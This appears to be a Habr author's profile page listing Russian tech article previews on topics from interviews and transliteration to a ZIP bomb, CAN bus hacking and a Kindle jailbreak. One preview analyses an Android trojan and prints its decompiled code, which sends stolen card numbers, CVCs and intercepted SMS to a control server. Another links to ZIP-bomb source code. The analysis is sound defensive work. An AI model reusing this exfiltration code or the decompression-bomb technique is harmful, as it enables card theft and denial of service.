Pull to refresh
0
0
Send message

Подготовка к собеседованиям в IT-гиганты: как я преодолела проклятье алгоритмического собеседования

Reading time12 min
Views204K

Дисклеймер:


Я не программирую с трёх лет, не знаю наизусть Кнута, не являюсь призёром олимпиад по информатике и чемпионатов по спортивному программированию, не училась в MIT. У меня за плечами образование по информатике и 6 лет опыта в коммерческой разработке. И до недавнего времени я не могла пройти дальше первого технического скрининга в IT-гиганты из FAANG (Facebook, Amazon, Apple, Netflix, Google и подобные), хотя предпринимала несколько попыток. 

Но теперь всё изменилось, я получила несколько офферов и хочу поделиться опытом, как можно к этому прийти. Речь пойдёт о позиции Software Engineer в европейских офисах перечисленных компаний.
Читать дальше →
Total votes 201: ↑196 and ↓5+191
Comments342

Юлия → Iuliia. Всё о транслитерации

Reading time8 min
Views62K

Транслитерация


Транслитерация — это запись кириллических слов латиницей (Анна → Anna, Самара → Samara). Её используют в загранпаспортах, водительских удостоверениях, трансграничной доставке, библиотечных каталогах и множестве других международных процессов.


Так вышло, что я недавно окунулся в эту тему, а в Википедии она раскрыта слабо. Поэтому расскажу, что к чему (спойлер — если вы думаете, что с транслитерацией всё плохо, то на самом деле всё ещё хуже).


И конечно, поскольку это Хабр — предложу open-source библиотеки для решения проблемы.

Читать дальше →
Total votes 193: ↑192 and ↓1+191
Comments543

Ещё лучшая ZIP-бомба

Reading time25 min
Views126K
В статье показано, как создать нерекурсивную zip-бомбу, которая обеспечивает высокую степень сжатия путём перекрытия файлов внутри zip-контейнера. «Нерекурсивная» означает, что она не зависит от рекурсивной распаковки декомпрессорами файлов, вложенных в zip-архивы: здесь всего один раунд. Выходной размер увеличивается квадратично от входного, достигая степени сжатия более 28 миллионов (10 МБ → 281 ТБ) в пределах формата zip. Ещё большее расширение возможно с помощью 64-разрядных расширений. Конструкция использует только наиболее распространённый алгоритм сжатия DEFLATE и совместима с большинством парсеров zip.

  • zbsm.zip 42 kB → 5.5 GB
  • zblg.zip 10 MB → 281 TB
  • zbxl.zip 46 MB → 4.5 PB (Zip64, менее совместима с парсерами)

Исходный код:
git clone https://www.bamsoftware.com/git/zipbomb.git
zipbomb-20190702.zip

Данные и исходники иллюстраций:
git clone https://www.bamsoftware.com/git/zipbomb-paper.git
Читать дальше →
Total votes 176: ↑176 and ↓0+176
Comments53

Хакаем CAN шину авто. Виртуальная панель приборов

Reading time14 min
Views213K


В первой статье «Хакаем CAN шину авто для голосового управления» я подключался непосредственно к CAN шине Comfort в двери своего авто и исследовал пролетающий траффик, это позволило определить команды управления стеклоподъемниками, центральным замком и др.

В этой статье я расскажу как собрать свою уникальную виртуальную или цифровую панель приборов и получить данные с любых датчиков в автомобилях группы VAG (Volkswagen, Audi, Seat, Skoda).

Мною был собран новый CAN сниффер и CAN шилд для Raspberry Pi на базе модуля MCP2515 TJA1050 Niren, полученные с их помощью данные я применил в разработке цифровой панели приборов с использованием 7″ дисплея для Raspberry Pi. Помимо простого отображения информации цифровая панель реагирует на кнопки подрулевого переключателя и другие события в машине.

В качестве фреймворка для рисования приборов отлично подошел Kivy для Python. Работает без Иксов и для вывода графики использует GL.

  1. CAN сниффер из Arduino Uno
  2. Подслушиваем запросы с помощью диагностической системы VAG-COM (VCDS)
  3. Разработка панели приборов на основе Raspberry Pi и 7″ дисплея
  4. Софт панели приборов на Python и Kivy (UI framework)
  5. Видео работы цифровой панели приборов на базе Raspberry Pi

Под катом полная реализация проекта, будет интересно!
Total votes 195: ↑192 and ↓3+189
Comments224

«Кто мутит воду – 2»: или всё, что вы хотели знать об обратном осмосе

Reading time13 min
Views316K


Мой первый материал — сравнение бытовых фильтров для воды «Кто мутит воду» готовился в запале исследователя-переселенца. Когда впервые переезжаешь в свою собственную квартиру, начинаешь уделять внимание мелочам — потому что делаешь и покупаешь для себя, и надо, чтобы всё было «на века». В посте я поделился опытом сравнения фильтров-кувшинов и сорбционных проточных фильтров разных производителей. Планов будить воинствующих комментаторов изначально не было… А потом в дверь личку постучали и сказали: «Пиши ещё, гостем будешь!». И я написал.
Total votes 99: ↑82 and ↓17+65
Comments351

Быстрая сборка кубика Рубика

Reading time7 min
Views985K
Возможно, многие из читателей задавались вопросом, как людям удаётся собирать кубик Рубика 3×3 за 7 секунд. Если даже предположить, что рекордсмену сильно повезло, то таблица мирового рейтинга по среднему из пяти результатов уже не оставляет сомнений: если больше 80 человек в среднем укладываются в 12 секунд, очевидно они что-то знают. В этом кратком обзоре я постараюсь приоткрыть секреты скоростной сборки. Сразу оговорюсь, что после прочтения этой статьи вы не станете чемпионами: здесь приведены только основные моменты и ссылки на более подробную информацию. Кроме того, даже после изучения метода полностью вам потребуются долгие тренировки для достижения хороших результатов. Зато вы получите неплохое представление о том, как это делается, и при желании будете знать, куда двигаться дальше. Я думаю, при достаточной усидчивости после нескольких месяцев тренировок многие смогут достичь среднего результата в районе 30 секунд.
Читать дальше →
Total votes 115: ↑102 and ↓13+89
Comments77

7 способов определить хостера сайта

Reading time8 min
Views150K
Периодически перед многими из вебмастеров возникает задача определить хостера, у которого живет тот или иной сайт. Мотивация для этого бывает самая разная, как простое любопытство, так и желание поселиться по соседству на хорошем и стабильном хостинге или наоборот не вляпаться в такое соседство. В этом посте я приведу несколько известных мне методов с их достоинствами и недостатками. Вполне возможно, что он неполон, поэтому дополнения всячески приветствуются.
Так же «на берегу» оговорюсь: все упомянутые ниже сайты и хостеры упомянуты исключительно как наглядные примеры, и ни в коем случае не в качестве рекламы или, упаси господи, антирекламы. Выбор оных был сделан так же практически случайно — где какие методы у меня в свое время срабатывали, то и привожу.

Способы я перечисляю в порядке убывания точности и, к сожалению, в порядке возрастания вероятности срабатывания.

1. NS-сервера


Даже странно, что забыл упомянуть с самого начала. Спасибо variable За напоминание. Очень часто люди пользуются NS-серверами хостера и при помощи whois'a мы моментально узнаем хостера.

Плюсы

  • Очень часто срабатывает на шаред-хостингах

Минусы

  • Зачастую пользователи VPS и дедиков, а так же продвинутые пользватели на шаред-хостингах пользуются своими DNS-серверами, либо используют свои поддомены.

2. Ошибка 403/404


Не могу сказать, что большинство, но немало серьезных хостеров страницы ошибок веб-сервера по умолчанию делают с информацией о себе, а многие их клиенты забывают/ленятся их переопределить. Поэтому в первую очередь стоит попытаться вызвать такую ошибку и посмотреть, что получится. Бывает так, что CMS на сайте при помощи mod_rewrite перехватывает запросы к несуществующим файлам и отдает в ответ свою 404-ю ошибку. Это можно попробовать обойти, вызвав ошибку 403 путем обращения к какталогу без индексного файла. Им может быть папка с картинками/шаблонами, папка для загруженных файлов, кэша движка, системная папка типа includes и т. п. Небольшой хинт — иногда на странице ошибки есть email вебмастера и часто из него можно узнать домен сайта хостера.
Читать дальше
Total votes 123: ↑86 and ↓37+49
Comments49

Платформа «1С: Предприятие» — что под капотом?

Reading time7 min
Views101K
Привет, Хабр!
В этой статье мы начнем рассказ о том, как устроена внутри платформа «1С:Предприятие 8» и какие технологии используются при ее разработке.

image

Почему мы считаем, что это интересно? Во-первых, потому что платформа «1С:Предприятие 8» — это большое (более 10 миллионов строк кода) приложение на C++ (клиент, сервер и т.д.), JavaScript (веб-клиент), и, с недавних пор еще и Java. Большие проекты бывают интересны хотя бы в силу масштаба, ведь вопросы, незаметные в маленькой кодовой базе, в таких проектах встают в полный рост. Во-вторых, «1С:Предприятие» — это тиражируемый, «коробочный» продукт, а статей про такие разработки на Хабре совсем немного. А еще всегда интересно узнать, как там живут в других командах и фирмах.
Читать дальше →
Total votes 31: ↑24 and ↓7+17
Comments160

Обновление Windows 8.1 Evaluation и Windows Server 2012 R2 Evaluation до полных версий

Reading time3 min
Views53K
Сегодня я хочу рассказать о двух способах перехода с Evaluation версии Windows на полную – для серверов на базе Windows Server 2012 R2 и для клиентов Windows 8.1. Способы кардинально отличаются, — для серверных ОС переход продуман Microsoft, как простая плановая операция, для клиентских ОС задумка вендора – заставить пользователя выполнить полную переустановку системы. Предлагаемый ниже способ позволит обновить Evaluation версию Windows 8.1 до полной без переустановки, — а, впрочем, и совершить обратный переход с любой версии Windows 8.1 на Evaluation с сохранением приложений и данных, — если вдруг нужно показать себя честно использующим лишь Evaluation версии проверяющим.
Однако, начнём с простого. Первый вопрос обычно задаётся – а зачем? Дело в том, что в отличии от клиентской системы Windows 8.1 Evaluation, которая через полгода после установки лишь напоминает о своем Evaluation статусе всплывающими сообщениями и чёрным фоном рабочего стола, серверная система раз в час будет перезагружаться, что уже совсем неприятно.
Читать дальше →
Total votes 23: ↑19 and ↓4+15
Comments11

Обновление с Windows 7/8.1 до Windows 10 TP через Windows Update

Reading time3 min
Views1.5M
Согласно анонсу Windows 10 будет предложена бесплатно в качестве обновления на все Windows 7 и Windows 8.1 системы в течение первого года после публичного выхода. Как именно? Через Windows Update. Нужно понимать, что это предложение обновления, а не лицензия. То есть лицензия на Windows 7 позволит автоматически обновить систему в течение года. Серийного номера, образа, коробки или наклейки предложено не будет. При этом также обещано, что те кто обновятся сейчас на Windows 10 Technical Preview получат затем через Windows Update версию Consumer Preview, Release Preview, а далее и финальной версии. С выходом январского Windows 10 Technical Preview (10.0.9926) появилась также и небольшая утилита для Windows 7 и Windows 8.1, после установки которой, Windows 10 приходит на ваш ПК в виде обновления. Именно об этом я и буду рассказывать ниже.

Для тех, кто хочет попробовать Windows 10 Technical Preview уже сейчас, буду неоригинальным, — это предварительная версия, часть функционала не работает, могут возникнуть проблемы с драйверами и сторонним ПО. Продолжаем. Если вы хотите обновить ваш Windows 7 до Windows 10, загрузите специальную утилиту Prepare с сайта Microsoft, для Windows 8.1 существует аналогичная утилита подготовки.

Я буду показывать процесс обновления для русской Windows 7 Professional, английской Windows 8.1 Single Language и английской 8.1 Professional with MediaCenter. Сразу скажу, медиацентр не переживёт обновления, — текущая версия Windows 10 Technical Preview его не поддерживает и обновит на обычный Windows 10 Professional TP. Тем, кому важен Windows MediaCenter рекомендую дождаться Consumer Preview или более новых сборок.
Читать дальше →
Total votes 41: ↑36 and ↓5+31
Comments152

Джентльменский набор для Amazon Kindle Paperwhite

Reading time3 min
Views99K

Чтобы настроить и установить все необходимое на любимую читалку Amazon Kindle Paperwhite требуется потратить достаточно много времени. С целью экономии Вашего времени, а также упрощения процесса настройки читалки, я и пишу данную статью. Также добавлены вкусные плюшки помимо стандартных вещей, которые можно сделать с Вашей любимой читалкой, порывшись в интернете… Я включил дополнительные настройки и немного подредактировал программный код. В итоге в мою сборку вошли модифицированные: приложения, игры, ланчер и меню. Кроме ярлыка ланчера, предназначенного для запуска альтернативного меню, на основном экране ничего постороннего нет.

Что входит в сборку:
Jailbreak читалки Kindle Paperwhite;
— русификация клавиатуры;
KUAL — ланчер киндл.
— альтернативное меню;
— словари для перевода текста в книгах с английского и на английский;
— читалки: KOReader и Cool Reader;
— браузеры: SkipStone и Midori;
— другие приложения: блокнот, доска для заметок, напоминалка, просмоторщик картинок, рисовалка, калькулятор, менеджер файлов;
— игры: шашки, шахматы, судоку, сокобан, реверси, гомоку, такузу;
— менеджер задач;
— быстрый вызов: вкл/выкл WiFi, вкл/выкл подсветки экрана, вкл/выкл ночного скринсейвера, вкл/выкл отображения аккумулятора в %, календарь, информация об устройстве.

Все действия со своей читалкой Вы делаете на свой страх и риск. Я никакой ответственности не несу за последствия данных действий. Не испугал Вас? Тогда приступим...
Читать дальше →
Total votes 89: ↑63 and ↓26+37
Comments44

Как я позорно деактивировал ботнет

Reading time10 min
Views191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →
Total votes 368: ↑362 and ↓6+356
Comments143

Information

Rating
Does not participate
Registered
Activity